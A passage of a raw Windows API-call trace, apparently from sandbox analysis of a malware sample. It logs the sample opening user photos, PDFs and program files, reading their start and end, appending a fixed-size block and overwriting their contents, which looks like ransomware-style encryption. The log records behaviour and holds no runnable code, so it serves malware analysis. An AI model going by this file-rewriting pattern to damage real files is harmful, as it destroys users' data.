lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6308c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.019] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa731 [0033.245] ReadFile (in: hFile=0x168, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.411] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xa731 [0033.411] WriteFile (in: hFile=0x168, lpBuffer=0x2623cd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2623cd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.411] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0033.411] WriteFile (in: hFile=0x168, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.411] CloseHandle (hObject=0x168) returned 1 [0033.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.796] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.796] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b772 [0033.796] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0033.796] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.796] ReleaseMutex (hMutex=0x128) returned 1 [0033.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x1e6310c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Words.pdf", lpUsedDefaultChar=0x0) returned 9 [0033.796] ReadFile (in: hFile=0x1a8, lpBuffer=0x2620c78, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2620c78*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.893] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a772 [0033.893] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.274] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a772 [0034.274] WriteFile (in: hFile=0x1a8, lpBuffer=0x1decf18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.274] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0034.274] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.275] CloseHandle (hObject=0x1a8) returned 1 [0034.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x107e [0034.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.277] ReleaseMutex (hMutex=0x128) returned 1 [0034.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HandPrints.jpg", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0034.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HandPrints.jpg", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HandPrints.jpg", lpUsedDefaultChar=0x0) returned 14 [0034.278] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f2bc*=0x107e, lpOverlapped=0x0) returned 1 [0034.310] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0034.310] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1606, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1606, lpOverlapped=0x0) returned 1 [0034.310] CloseHandle (hObject=0x1a8) returned 1 [0034.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\E_CAaPPjr.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\e_caappjr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.312] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.312] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xfe0c [0034.312] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.312] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.312] ReleaseMutex (hMutex=0x128) returned 1 [0034.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="E_CAaPPjr.jpg", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="E_CAaPPjr.jpg", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E_CAaPPjr.jpg", lpUsedDefaultChar=0x0) returned 13 [0034.312] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.313] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xee0c [0034.313] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.313] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xee0c [0034.313] WriteFile (in: hFile=0x1a8, lpBuffer=0x1decf18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.314] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0034.314] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.314] CloseHandle (hObject=0x1a8) returned 1 [0034.318] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x5d3f [0034.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.318] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.318] ReleaseMutex (hMutex=0x128) returned 1 [0034.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0034.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.jpg", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Garden.jpg", lpUsedDefaultChar=0x0) returned 10 [0034.318] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.388] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4d3f [0034.388] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.419] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4d3f [0034.419] WriteFile (in: hFile=0x1a8, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.420] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0034.420] WriteFile (in: hFile=0x1a8, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.420] CloseHandle (hObject=0x1a8) returned 1 [0034.421] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.433] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.433] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xce875 [0034.433] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.434] ReleaseMutex (hMutex=0x128) returned 1 [0034.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desert.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0034.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desert.jpg", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Desert.jpg", lpUsedDefaultChar=0x0) returned 10 [0034.434] ReadFile (in: hFile=0x1a8, lpBuffer=0x27d2b98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0034.455] ReadFile (in: hFile=0x1a8, lpBuffer=0x27d2b98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.655] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xcd875 [0034.655] ReadFile (in: hFile=0x1a8, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.831] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xcd875 [0034.832] WriteFile (in: hFile=0x1a8, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.832] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0034.832] WriteFile (in: hFile=0x1a8, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0034.832] WriteFile (in: hFile=0x1a8, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.833] CloseHandle (hObject=0x1a8) returned 1 [0034.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.861] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.861] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x78e4 [0034.861] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.861] ReleaseMutex (hMutex=0x128) returned 1 [0034.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Informix.xsl", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Informix.xsl", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Informix.xsl", lpUsedDefaultChar=0x0) returned 12 [0034.861] ReadFile (in: hFile=0x1a8, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.877] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x68e4 [0034.878] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x68e4 [0034.885] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.885] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0034.885] WriteFile (in: hFile=0x1a8, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.886] CloseHandle (hObject=0x1a8) returned 1 [0034.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0034.890] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.890] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3170 [0034.891] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0034.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.891] ReleaseMutex (hMutex=0x128) returned 1 [0034.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Synchronization.rll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0034.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Synchronization.rll", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Synchronization.rll", lpUsedDefaultChar=0x0) returned 19 [0034.891] ReadFile (in: hFile=0x1a8, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.897] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2170 [0034.897] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.897] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2170 [0034.897] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.897] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0035.148] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.148] CloseHandle (hObject=0x1a8) returned 1 [0035.149] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\3dftp.exe" (normalized: "c:\\program files\\windows journal\\3dftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\3dftp.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\3dftp.exe", lpFilePart=0x2a0f690*="3dftp.exe") returned 0x2a [0035.149] GetLastError () returned 0x20 [0035.149] FormatMessageW (in: 